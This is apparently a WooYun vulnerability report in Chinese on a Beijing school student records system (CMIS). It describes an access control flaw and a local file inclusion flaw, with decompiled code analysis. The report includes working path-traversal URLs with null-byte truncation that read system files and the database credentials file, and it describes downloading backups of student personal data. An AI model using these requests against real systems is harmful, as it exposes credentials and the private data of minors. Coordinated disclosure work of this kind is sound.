当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081581

漏洞标题:某市通用学籍管理系统越权+本地文件包含造成几百万学生详细数据泄露

相关厂商:becom.com.cn

漏洞作者: Haswell

提交时间:2014-11-01 12:00

修复时间:2015-01-30 12:02

公开时间:2015-01-30 12:02

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-01: 细节已通知厂商并且等待厂商处理中
2014-11-06: 厂商已经确认,细节仅向厂商公开
2014-11-09: 细节向第三方安全合作伙伴开放
2014-12-31: 细节向核心白帽子及相关领域专家公开
2015-01-10: 细节向普通白帽子公开
2015-01-20: 细节向实习白帽子公开
2015-01-30: 细节向公众公开

简要描述:

自 2001 年开始,校园管理信息系统(简称CMIS)已在全市近 1800 所中小学安装应用。北京市教委也下发了京教基 [2001]6 号文件,将CMIS应用作为高质量完成“校校通”工程的标准之一。
截至至目前,北京市全部中小学在校内均部署cmis系统,而且业务面极广,内含大量敏感数据,包括学生家长,应届毕业生在内的详细到电话住址的记录,所以cmis也成为针对学生的诈骗,营销的黑色产业链的主要数据来源。同样,由于和多套其它系统同时部署,也会互相殃及。
这一处本地文件包含可以无限制地读取系统日志,系统配置文件,结合技巧可以直接下载敏感数据。
另:这是第一弹

详细说明:

首先是信息收集环节
因为北京每个学校都部署了相同系统
所以很顺利地找到了官网:card.bjedu.com

1.jpg


发现提供了这套系统安装包的下载

2.jpg


将其下载

3.jpg


结构一目了然!
然后问题出在了

http://host/cmis40/photo/PictureFOS.a?pid=


的pid参数
首先,这是一处越权,可以随意查看遍历学生照片。如

9.jpg


其次由于过滤不严造成了本地文件包含:)
我们来看看代码(审计开始)

4.jpg


首先反编译问题class文件
\ediasoft\webapps\cmis40\WEB-INF\classes\com\becom\cmis40\webapp\action\PictureFOS.class
观察到pid参数是直接request.getParameter()传入,

........
public Object performTask(HttpServletRequest request, HttpServletResponse response)
{
........
String pid = request.getParameter("pid");
........
String pictureFile = null;
try
{
...........
String picturePath = this.initDictionUtil.getParamValueByParamId("2");
if ((picturePath == null) || (picturePath.trim().length() == 0)) {
SystemMessage.addErrorMessage(op + "照片显示,系统没有设置照片存放路径参数!");
return null;
}
File file = new File(picturePath + File.separator + "localschool" + File.separator + pictureFile);


观察picturePath,直接使用this.initDictionUtil.getParamValueByParamId取得
跟进至initDictionUtil.class

public String getParamValueByParamId(String paramId)
{
return (String)this.sysParamsMap.get(paramId);
}


继续

public Map<String, String> sysParamsMap = new ConcurrentHashMap();


一个ConcurrentHashMap对象(Java5 里的新hashmap实现),也就是说关键之处在于
sysParamsMap.put(xx,xx)的调用

public void cacheSysParam()
{
List sysParams = this.BSetparameterManager.findAll();
if ((sysParams == null) || (sysParams.size() <= 0))
return;
for (BSetparameter oneParam : sysParams)
{
if (!StringUtil.isNotEmpty(oneParam.getContent()))
continue;
this.sysParamsMap.put(oneParam.getParameterid().toString(), oneParam.getContent());
}
}


此刻都明了了,一个所有参数的cache,也不必继续跟进了
findAll()从缓存表里取出所有参数id以及参数值
然后sysParamsMap.put(id,内容)
再回到开始
String picturePath = this.initDictionUtil.getParamValueByParamId("2");
恰好取出了第一个参数也就是pid的值
这个值是我们可控的,观察一下全局的过滤,发现使用..%2f就可以绕过"/"进行目录跳转
接下来
new File(picturePath + File.separator + "localschool" + File.separator + pictureFile);
文件路径拼接,%00直接截断

成功了:)

漏洞证明:

现在来让我们搞一下win.ini来验证
http://host/cmis40/photo/PictureFOS.a?pid=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00

5.jpg


哇咔咔
接下来是利用环节~~
首先当然是数据库连接密码db-conf.properties
/cmis40/photo/PictureFOS.a?pid=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fediasoft%2fwebapps%2fcmis40%2fWEB-INF%2fclasses%2fdb-conf.properties%00.a
实例简直了遍地都是,部分配置错误,允许了数据库外联

6.jpg


当然了这个漏洞的一大价值在于
1.有心人能下载到整套系统源码,意味着核心敏感配置均可被读取(比如这些)

8.jpg


2.这个业务出在cmis,却涉及不同系统,包括这些(ediasoft/webapps)

7.jpg


*普通高中课程管理 *高中生档案管理 *高中学生综合素质评价
但是到了这里,还没完,还可以结合一些技巧直接获得一些关键信息数据
通过直接包含学生信息导出的备份文件可以获取
学段 年级 班级 p_id 姓名 性别 证件号 学生学籍号 姓名拼音 曾用名 学生类别 证件类型 出生日期 出生地 民族 籍贯 宗教信仰 港澳台侨 健康状况 现住址所属区县 现住址 户口性质 就读方式 国别 特长 联系电话 通信地址 入学成绩(总分) 校内编号 建立学籍依据 有关材料证明 本记录建立日期 中考考号 高考考号 毕业考号 备注 学生状态 政治面貌 原学校名称 入学年月 入学方式 来源地区 升学准考证号 学生来处(地区) 学生来源 姓名 关系 工作单位 联系电话 姓名 关系 工作单位 联系电话 监护人姓名 监护人关系 监护人工作单位 监护人联系电话 监护人职务
支持一下新功能,我放测试代码里了如图

10.jpg


修复方案:

你比我懂,为祖国花朵提供服务更应注重安全,首先安装包只应内部发放,细节决定边界安全。

版权声明:转载请注明来源 Haswell@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-11-06 09:18

厂商回复:

最新状态:

暂无